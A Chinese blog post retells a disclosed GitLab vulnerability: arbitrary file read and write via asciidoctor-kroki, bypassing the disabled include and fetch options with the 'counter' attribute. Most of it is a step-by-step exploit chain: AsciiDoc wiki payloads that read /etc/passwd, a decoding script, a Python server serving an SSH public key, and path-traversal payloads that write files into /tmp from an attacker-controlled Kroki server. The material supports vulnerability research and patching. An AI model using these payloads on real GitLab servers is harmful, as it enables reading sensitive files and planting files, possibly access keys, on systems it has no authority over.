vlambda博客
学习文章列表

gitlab漏洞系列-任意文件读写

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

背景

这个漏洞是由越南小哥ledz1996在去年二月份提交的,小哥在asciidoctor中发现了一个潜在的奇怪bug,可能导致在asciidoctor-kroki中任意读/写文件,尽管Gitlab已经尝试禁用kroki-plantuml-include;以下是源代码:



module Gitlab
# Parser/renderer for the AsciiDoc format that uses Asciidoctor and filters
# the resulting HTML through HTML pipeline filters.
module Asciidoc
MAX_INCLUDE_DEPTH = 5
MAX_INCLUDES = 32
DEFAULT_ADOC_ATTRS = {
'showtitle' => true,
'sectanchors' => true,
'idprefix' => 'user-content-',
'idseparator' => '-',
'env' => 'gitlab',
'env-gitlab' => '',
'source-highlighter' => 'gitlab-html-pipeline',
'icons' => 'font',
'outfilesuffix' => '.adoc',
'max-include-depth' => MAX_INCLUDE_DEPTH,
# This feature is disabled because it relies on File#read to read the file.
# If we want to enable this feature we will need to provide a "GitLab compatible" implementation.
# This attribute is typically used to share common config (skinparam...) across all PlantUML diagrams.
# The value can be a path or a URL.
'kroki-plantuml-include!' => '',
# This feature is disabled because it relies on the local file system to save diagrams retrieved from the Kroki server.
'kroki-fetch-diagram!' => ''

可以使用count函数来绕过:

https://github.com/asciidoctor/asciidoctor/blob/master/lib/asciidoctor/document.rb


def counter name, seed = nil
return [@]parent_document.counter name, seed if [@]parent_document
if (attr_seed = !(attr_val = [@]attributes[name]).nil_or_empty?) && ([@]counters.key? name)
[@]attributes[name] = [@]counters[name] = Helpers.nextval attr_val
elsif seed
[@]attributes[name] = [@]counters[name] = seed == seed.to_i.to_s ? seed.to_i : seed
else
[@]attributes[name] = [@]counters[name] = Helpers.nextval attr_seed ? attr_val : 0
end
end

复现步骤

用Kroki创建Gitlab: https://docs.gitlab.com/ee/administration/integration/kroki.html

任意文件读

创建一个项目,用asciidoctor格式和以下的有效载荷创建一个wiki页面:


[#goals]

[plantuml, test="{counter:kroki-plantuml-include:/etc/passwd}", format="png"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock

BlockProcessor <|-- {counter:kroki-plantuml-include}
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....



在渲染图像时获取URL的base64部分

使用下面的代码解码URL的最后一部分,以获得文件/etc/passwd的内容


require 'base64'
require 'zlib'


test = "eNpLzkksLlZwyslPzg4oyk9OLS7OL-JKBgu6ZCamFyXmguXgQiWJicgCATmJeSWhuTkQMS5UcxRsanR1FTJSM1K5kM2CCCMZhSmJYiwAy8U5sQ=="
p Zlib::Inflate.inflate(Base64.urlsafe_decode64(test))

任意文件写

创建一个项目,用asciidoctor格式和以下的有效载荷创建一个wiki页面


[#goals]
:imagesdir: .
:outdir: /tmp/

[plantuml]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock

BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....



2.注意,在URL中有一个base64值,复制这个值


// python3 this_script.py <port>
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()

def do_GET(self):
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
self._set_response()
self.wfile.write(b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEY+UcYlP8VzOBdyMGUpbVFMsAUxPjWK7OiqARu/t3wO1mSNJ/RE5eaNLz5+6zM2WllUVrYF3cDXqNxge4srScM/v887Lz8mAupAZoPunxHrSTWFHjbCBaGm80z8QyStG+GMM/iN+mu4FtQ+ckMfOA8T/9k3clK3HomQXunJe85a6MPDsgE5MvEm4MdBUKQpEaEbstmAWtQIR5KCMHyNDa9WVKQQI+TJwAMpVa3L+Lbx4TZd04Fl5uKmCYUfPfBvj1/209s1XDN2rAK3AKJjAEbPVuLcZrl9iAse0FgA6HvUtA+g21VLba5OASXU/ZsedRmzECefMu8RVKHPzaaiC+RQU+1ihgBnQig0MdaXz8PZLOCo/673Pg9nsqjNafeU7fGTJD95BkkDL/3OfIEBq+rMbOyxrU+k8H+QWeVCbvh2LWRxdy/xciOMkkdodm2eGg45kJNjoDeKJEp0YpQ9ha+PdsqQqENAbqFqmYheAy1KJcpbG+U6Uik4hVXHxTAu0= [email protected]")

def do_POST(self):
content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
post_data = self.rfile.read(content_length) # <--- Gets the data itself
logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
str(self.path), str(self.headers), post_data.decode('utf-8'))

self._set_response()
self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

def run(server_class=HTTPServer, handler_class=S, port=8080):
logging.basicConfig(level=logging.INFO)
server_address = ('0.0.0.0', port)
httpd = server_class(server_address, handler_class)
logging.info('Starting httpd...\n')
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
logging.info('Stopping httpd...\n')

if __name__ == '__main__':
from sys import argv

if len(argv) == 2:
run(port=int(argv[1]))
else:
run()

4.注意该URL并编辑以下脚本以创建URL的SHA256


require 'digest'
require 'base64'
require 'zlib'

string = "http://192.168.69.1:8082/plantuml/../../../../../../tmp/test_file_write.txt/eNpLzkksLlZwyslPzg4oyk9OLS7OL-JKBgu6ZCamFyXmguXgQiWJicgCATmJeSWhuTkQMS5UcxRsanR1FTJSM1K5kM2CCCMZhSmJYiwAy8U5sQ=="

p "diag-#{Digest::SHA256.hexdigest test = string}"

5.创建一个项目,用asciidoctor格式创建一个wiki页面,并将下面的内容作为第一次的有效负载,用diag- < output_previous >替换diag-**


[#goals]
:imagesdir: diag-58f90331904a1989259d639c5677e0fff5e434e739c70f1d3bb2004723bc99b8.
:outdir: /tmp/

[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://192.168.69.1:8082/}", format="/../../../../../../tmp/test_file_write.txt"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock

BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....



6.保存然后渲染

对这个负载重复前面的步骤:


[#goals]
:imagesdir: diag-58f90331904a1989259d639c5677e0fff5e434e739c70f1d3bb2004723bc99b8.
:outdir: /tmp/

[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://192.168.69.1:8082/}", format="/../../../../../../tmp/test_file_write.txt"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock

BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock

7.保存,然后再渲染

你可以写入任何文件。您可以通过使用Gitlab框简单地导航到文件来检查这一点